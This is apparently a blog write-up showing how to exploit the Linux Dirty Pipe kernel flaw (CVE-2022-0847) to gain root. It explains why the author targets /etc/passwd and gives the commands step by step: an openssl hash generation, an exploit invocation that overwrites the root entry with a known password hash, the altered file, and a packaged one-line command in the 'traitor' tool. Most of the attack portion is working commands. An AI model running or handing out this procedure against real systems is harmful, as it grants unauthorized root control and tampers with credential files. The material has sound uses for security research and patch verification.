The Dirty Pipe vulnerability allows users to write to files for which they should only have read access. I recommend reading Max Kellermann’s vulnerability abstract to get a good grounding in how it works.
It’s relatively easy to exploit and write to arbitrary files, so my first thought was about using the vulnerability to achieve privilege escalation to the root user. My initial idea was to overwrite a SUID binary with my own executable and simply launch it, but this turned out to be a little more complicated due to the following limitations:
- Page boundaries cannot be crossed in a single write
- A write offset cannot be aligned with a page boundary
There are workarounds to these limitations, but it is far simpler to package an exploit that needs to overwrite a comparatively smaller area of a file, thus avoiding page boundary/offset issues. Modifying
/etc/passwd to set new password for the root user, authenticating, and then reverting the content back to the original state seems a sensible way to go.
/etc/passwd looks like the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Fields are separated by the
: character, and the field populated with an
x stores information about the user’s password. The
x signifies the password is stored in an encrypted state in
/etc/shadow. Alternatively, a user could have a legacy-style password hash stored directly in this field, which can be taken advantage of to override the root password.
A suitable hash can be generated with:
1 openssl passwd -1 -salt evil
Enter a password when prompted and a hash will be provided, looking something like
$1$evil$nQuhWDmzDqj5JWJG19JQ0/ (the hash for password, salted with evil).
Writing the hash to the
/etc/passwd file is as simple as exploiting dirty pipe (clean exploit implementation here).
Writing the rest of the line after the
root: prefix, to ensure everything is set up correctly:
1 2 3 4 5 6 # take a backup of /etc/passwd cp /etc/passwd passwd.backup # ./exp /etc/passwd 5 '$1$evil$nQuhWDmzDqj5JWJG19JQ0/:0:0:root:/root:/bin/bash ' # this new line is deliberate
/etc/passwd file now contains:
1 2 root:$1$evil$nQuhWDmzDqj5JWJG19JQ0/:0:0:root:/root:/bin/bash ...
Logging in as root will now be possible using the password “password”. Note the rest of the file may have been damaged by this write, so it’s a good idea to restore the contents of the
/etc/passwd file from your backup afterwards.
The above exploit has been packaged into traitor - you can try the exploit with
traitor -e kernel:CVE-2022-0847.